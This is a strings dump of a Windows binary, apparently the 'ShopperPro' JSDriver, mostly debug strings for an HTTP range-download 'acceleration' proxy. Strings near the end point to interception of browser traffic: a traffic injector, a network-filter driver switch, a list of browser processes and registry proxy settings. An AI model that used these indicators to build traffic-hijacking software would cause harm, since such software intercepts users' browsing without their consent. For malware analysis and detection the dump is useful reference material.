[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...
[CacheManager::StopCacheData] FDM=%d
[CacheManager::Stop] FDM=%d
[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!
[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld
[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty
[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld
[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***
[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)
[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d
[CacheManager::RemoveAllWorkers] FDM=%d
[~CacheManager - %p] FDM=%d
[CacheManager::Reset] FDM=%d
[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p
[JobsManager::MergeFailedJobs] Job:%d  = Job:%d
[JobsManager::CreateJob] Job:%d, %lld-%lld
[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist
[JobsManager::CreateTimeJob] Job:%d, %lld-0
[JobsManager::DestroyJob] Job:%d
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION
[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)
[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)
[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.
[AccelerationLogicHD::IsPartner] Partner = %d
[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d
[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld
[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d
[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges
[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d
[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d
[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld
[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)
[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain
AccelerationLogicHD::AccelerateIsSupported
[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)
[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d
[AccelerationLogicHD::Reset] FDM=%d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule
[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d
[CConnectionsManager::ResetStartAcceleration] AvgBps: %d
[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)
[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)
[CConnectionsManagerSocket] socket %d
[CConnectionsManagerSocket::OnReadEvent] socket %d
[CConnectionsManagerSocket::OnWriteEvent] socket %d
[CConnectionsManagerSocket::OnCloseEvent] socket %d
[CConnectionsManagerSocket::OnAcceptEvent] socket %d
[CConnectionsManagerSocket::OnConnectEvent] socket %d
[~CConnectionsManagerSocket] socket %d
[CConnectionsManager::OnReadEvent] socket %d
[CConnectionsManager::OnWriteEvent] socket %d
[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms
[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d
[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d
[CConnectionsManager::AddConnection] ___Warning socket %d - not connected
[CConnectionsManager::Work] Remote: %s:%d - Done.
[CConnectionsManager::Work] ___Error Connect socket %d
[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x
[CConnectionsManager::Work] Add socket %d - Remote: %s:%d
[CConnectionsManager::Work] Remote: %s:%d
[CConnectionsManager::Cleanup] %d sockets left in map
[CConnectionsManager::Cleanup] Cleaning %d sockets from map
[CConnectionsManager::RemoveConnection] socket %d
[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***
[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName
[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d
[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d
[CConnectionsManager::OnCloseEvent] socket %d
lighttpd/1.4.8
[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld
[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)
[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld
[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)
[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)
[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d
[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d
[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld
[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d
[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d
[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)
[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)
[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)
[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)
[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d
[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)
[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d
[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d
[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d
[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule
AppleWebKit
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.
AccelerationLogic::AccelerateIsSupported
[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s
[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s
[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s
[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s
[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d
NonSupportRangeServersList
[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s
[AccelerationLogic::CreateAnyRule] FDM=%d
[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported
[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s
[AccelerationLogic::Reset] FDM=%d
[~AccelerationLogic - %p] FDM=%d - ... Leave
[~AccelerationLogic - %p] FDM=%d - Enter ...
[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d
[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes
[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld
[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d
[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld
[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d
[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes
[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d
[CHttpCacheData] CD:%d, Url: %s
[~CHttpCacheData] CD:%d
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d
[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld
[CacheWorker::SetSize - %p] Cache size: %d
[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d
[CacheWorker::SetEncryptionKey - %p] Key: %p
[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::AppendToCache - %p] Bytes in buffer: %d
[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld
[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes
[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes
[CacheWorker::Write - %p] *** Finished to download & write job:%d ***
[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] ___Warning already finished job:%d
[CacheWorker::Write - %p] Bytes in buffer: %d
[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.
[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.
f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum
f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime
f:\dd\vctools\crt_bld\self_x86\crt\src\locale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon
%d / %m / %y
%I : %M : %S %p
%m / %d / %y
%b %d %H : %M : %S %Y
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c
Client hook allocation failure at file %hs line %d.
Memory allocated at %hs(%d).
Client hook re-allocation failure at file %hs line %d.
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory after end of heap buffer.
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory before start of heap buffer.
CRT detected that the application wrote to a heap buffer that was freed.
crt block at 0x%p, subtype %x, %Iu bytes long.
client block at 0x%p, subtype %x, %Iu bytes long.
%hs(%d) :
#File Error#(%d) :
Data: <%s> %s
f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c
Visual C   CRT: Not enough memory to complete call to strerror.
f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
_CrtDbgReport: String too long or IO Error
Debug %s!
Program: %s%s%s%s%s%s%s%s%s%s%s%s
f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c
f:\dd\vctools\crt_bld\self_x86\crt\src\read.c
%s(%d) : %s
_CrtDbgReport: String too long or Invalid characters in String
GetProcessWindowStation
f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c
f:\dd\vctools\crt_bld\self_x86\crt\src\input.c
f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c
Broken pipe
Inappropriate I/O control operation
Operation not permitted
f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c
portuguese-brazilian
operator
f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Content-Type: multipart/form-data; boundary=%s
ICACLS.EXE
SOFTWARE\%s
Global\%s_CONFIG_XML
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
Injector dump %s: %s
inj_rem remain %d
inj_loc remain %d
%s PutChunk send %d bytes to server
%s PutChunk send %d bytes to client
%s close pRemoteInj
%s close pLocalInj
New EmuSession flow %lld, now %d
Injector: Flow %lld, create session %X
Injector: Flow %lld, FDM=%d (%d)
%s ConnectedToVA, pLocalInj %p, pLocalVA %p
Delete EmuSession flow %lld, remain %d, chunks %d
%s delete Session %X
%s HandleChunk FWPS_STREAM_FLAG_SEND len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_ABORT
Injector: FDM=%d (%d)
%s ConnectToInj, Session not found pLocalVA %X
%s ConnectToInj
Cleanup %s
allports
iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe
[Stproxy]: open driver HANDLE %p, err %d
jsdriver: error parsing Config.json
parsing Config.json
IOCTL_ENABLE_INTERCEPT res %d
SetThreadPriority %d
error %d
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase
0123456789.eE- 
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum
C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb
WSAJoinLeaf
WS2_32.dll
VERSION.dll
USERENV.dll
HttpQueryInfoA
InternetOpenUrlA
InternetCrackUrlA
HttpSendRequestA
HttpAddRequestHeadersA
HttpOpenRequestA
WININET.dll
GetProcessHeap
GetCPInfo
PeekNamedPipe
KERNEL32.dll
MsgWaitForMultipleObjectsEx
CloseWindowStation
SetProcessWindowStation
OpenWindowStationA
USER32.dll
RegNotifyChangeKeyValue
RegOpenKeyExA
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyExA
RegQueryInfoKeyA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
HttpEndRequestA
HttpSendRequestExA
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AVSaveWatchUrl@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
HTTP://
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
.?AVCAsyncUdpSocket@@
.?AVCExecuteUpdate@@
..\Common\Base64.cpp
..\Common\Base64MultiBytes.cpp
<>"#%{}|\^~[]`' ?&
<>"#{}|\^~[]`' ?&
.?AVCHttpAsync@@
.?AVIHttpProxyWorker@@
.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@
.?AVIInjHttpProxyServer@@
.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@
.?AV?$IBaseInterface@VIHttpProxyServer@@@@
.?AVIHttpProxyServer@@
.?AVInjHttpProxyServer@@
.?AVHttpProxyServer@@
.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@
.?AVIHttpStreamSink@@
.?AVIHttpFileDownloadMgr@@
.?AVInjHttpProxyLocal@@
.?AVHttpProxyLocal@@
.?AVHttpProxyWorker@@
.?AVInjHttpProxyRemote@@
.?AVHttpProxyRemote@@
.?AVHttpParser@@
VA_SUBJECT_FMD_%d_WORKER_CREATED
VA_SUBJECT_FMD_%d_RANGE_CREATED
VA_SUBJECT_FMD_%d
VA_SUBJECT_FMD_%d_WORKER_%d
.?AVHttpCookie@@
.?AVHttpCookieJar@@
.?AV?$IBaseInterface@VIHttpCacheManager@@@@
.?AVIHttpCacheManager@@
.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@
.?AVCHttpCacheManager@@
.?AVCProxyServerPassThrough@@
.?AVCHttpCacheData@@
zcÁ
.?AVCHttp@@
2.5.8305.1502
%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
8&8,8/949{9
0F0X0
>%?/?^?}?
2(2-222x2}2
>5>:>?> ?%?
7#777=7\7
6f6F6X6
>2?8???}?
< <$<(<,<0<4<~<
